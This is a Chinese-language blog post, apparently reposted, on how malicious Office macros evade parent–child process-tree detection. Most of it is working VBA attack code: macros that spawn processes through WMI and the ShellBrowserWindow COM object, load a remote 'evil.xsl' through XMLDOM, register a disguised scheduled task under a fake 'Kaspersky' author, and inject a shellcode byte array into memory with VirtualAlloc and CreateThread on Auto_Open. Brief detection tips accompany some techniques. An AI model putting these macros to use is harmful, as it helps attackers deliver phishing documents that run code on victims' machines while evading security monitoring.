Office钓鱼攻击绕过进程树检测

针对Office钓鱼攻击,最常见的检测方法就是进程树检测,这里记录下一些绕过方式。

通过WMI绕过

相关概念&原理

  • wmiprvse.exe:wmiprvse.exe是微软Windows操作系统的一部分,用于通过WinMgmt.exe程序处理WMI操作,该程序对计算机系统的正常运行是非常重要的。
    其绕过原理为:通过嵌入宏,书写VBScript代码创建WMI服务,并以此拉起恶意进程的方式,将导致该恶意进程和office进程无法产生关联。由于wmiprvse.exe是计算机的正常程序,因此可以绕过进程树检测。

实践

随意创建一个后缀为docm的文件,键盘同时按下alt+F11,然后双击The document打开编辑页面,输入以下代码:

Sub ducument_open()
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("calc", Null, objConfig, intProcessID)
End Sub

然后保存即可。

效果&对策

打开文件点击启用内容按钮后,就会蹦出来一个计算器,但通过日志抓取,发现果然没有与Word呈父子进程关系的进程。
但可以通过检测wmiprvse.exe->(powershell|cmd|calc).exe来实现检测

通过ShellCOM绕过

相关概念&原理

  • COM:COM(Component Object Model)对象是通过一个或多个相关函数集来实现对对象数据的访问的对象。这些函数集被称为接口,接口的函数被称为方法。
  • COM:基本上可以从VBScript引用任何COM对象(实际上是另一个可执行文件)并使用它的函数。例如,对象ShellBrowserWindow可以用来从资源管理器执行新的进程。
    其绕过原理为:通过嵌入宏,书写VBScript代码创建COM对象,并以此唤起恶意进程的方式,将导致无法从进程树观测到和office进程的关联,因此可以绕过进程树检测。

实践

随意创建一个后缀为docm的文件,键盘同时按下alt+F11,然后双击The document打开编辑页面,输入以下代码:

Sub ducument_open()
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc", Null, "C:\\Windows\\System32", Null, 0
End Sub

然后保存即可。

效果&对策

打开文件点击启用内容按钮后,就会蹦出来一个计算器,但通过日志抓取,发现果然没有与Word呈父子进程关系的进程。
但可以通过检测explorer.exe->(powershell|cmd|calc).exe来实现检测

通过XMLDOM绕过

相关概念&原理

  • XML:可扩展标记语言,标准通用标记语言的子集,简称XML。是一种用于标记电子文件使其具有结构性的标记语言。 在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。
  • XSL:XSL的英文是eXtensible Stylesheet Language,翻译成中文就是可扩展样式语言。它是W3C制定的另一种表现XML文档的样式语言。XSL是XML的应用,符合XML的语法规范,可以被XML的分析器处理。
  • XMLDOM:可以在XML格式的文件内嵌入包含JScript的DOM元素来执行恶意操作,实现命令执行。

实践

首先创建一个后缀为TXT的文件,输入以下内容:




    
     


然后更改文件后缀名为xsl,将该文件存放至服务器,记下下载地址

然后再随意创建一个后缀为docm的文件,键盘同时按下alt+F11,然后双击The document打开编辑页面,输入以下代码:

Sub ducument_open()
Set xml = CreateObject("Microsoft.XMLDOM")
xml.async = False
Set xsl = xml
xsl.load("http://ip/evil.xsl")
xml.transformNode xsl
End Sub

然后保存即可。

效果&对策

打开文件点击启用内容按钮后,就会蹦出来一个计算器,但通过日志抓取,发现其实和Word呈父子进程关系。
因此,直接通过进程树检测即可。
并且,还发现了其他的关联进程,例如svchost.exe->calc.exe,以及msxml3.dll模块的加载:

msxml模块加载

通过Scheduled Task使用svchost.exe绕过

代码如下,但没有复现成功

Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: 
Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Kaspersky Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\cmd.exe"
'Action.Arguments = "/c whoami"
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)

通过Windows API注入Excel内存绕过

没复现成功+1

Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long

Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
#If Vba7 Then
        Dim  Xlbufvetp As LongPtr
#Else
        Dim  Xlbufvetp As Long
#EndIf
        Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)
        Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
        For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
                Wyzayxya = Hyeyhafxp(Zolde)
                Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
        Next Zolde
        Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
End Sub

你可能感兴趣的:(Office钓鱼攻击绕过进程树检测)